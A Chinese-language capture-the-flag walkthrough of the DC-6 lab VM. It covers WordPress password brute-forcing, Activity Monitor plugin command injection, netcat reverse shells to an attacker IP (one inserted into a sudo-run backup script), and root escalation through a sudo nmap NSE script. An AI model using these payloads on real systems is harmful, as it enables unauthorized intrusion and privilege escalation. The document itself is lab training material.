复现DC-6 这些都是19年前的版本，现在更新到了86的新版本。 现在学的技术还是人家3年前的技术，还是得努力 下再下来  
直接用VM打开 第一次打这种， 
咋不给密码 看了看社区才发现密码要自己找 
先查一查这个虚拟机的ip 不要直接再本机用cmd的ipconfig，是假的 直接 kali同网段：arp-scan -l kali：192.168.0.105 DC-6：192.168.0.141 
─# nmap -T4 -A -p- 192.168.0.141 //-A是进攻性扫描，T4是设置扫描时序级别，一般用4

并没有漏洞 搜集好用户名并保存到user.txt，以及字典是从/usr/share/wordlists里面找，跟着所给的线索把rockyou.txt里含有k01的字段重新写进新建的passwords.txt里面去 得到账号密码后，爆破出用户名为mark，密码为helpdesk01 后台登入口：/wp-login.php WordPress 5.8.1 存在插件漏洞
 
该漏洞为Activity Monitor插件远程命令执行漏洞，找到activity monitor，选择tools，输入127.0.0.1|ls /，查看文件 反弹shell 127.0.0.1|nc 192.168.0.105 6666 -e /bin/bash o对 限制了输入框的输入长度，f12改一下  
ok
没有完全反弹 python -c 'import pty;pty.spawn("/bin/bash")' //当然是因为靶机有python ok  
用户名：graham 密码：GSo7isUM1D4，然后在jens用户目录下有个打包备份的脚本；先进行用户的切换 可以看到jens下的backups.sh（是免密权限运行，意味在backups.sh里插入一个反弹shell并执行的话会反弹jens的shell会话 echo 'nc 192.168.0.105 996 -e /bin/bash' > backups.sh sudo -u jens ./backups.sh 
成功提到root 看到有nmap：可以用nmap提权 可以看到是可以使用root权限免密运行，还是和刚刚的思路一样，也是把shell呢进行反弹，因为nmap能够执行脚本功能，直接把/bin/sh写进/tmp/xxx.nse，然后让nmap运行它就可以直接提权 echo 'os.execute("/bin/sh")' > /tmp/xxx.nse
sudo nmap --script=/tmp/xxx.nse 
cat theflag.txt ok
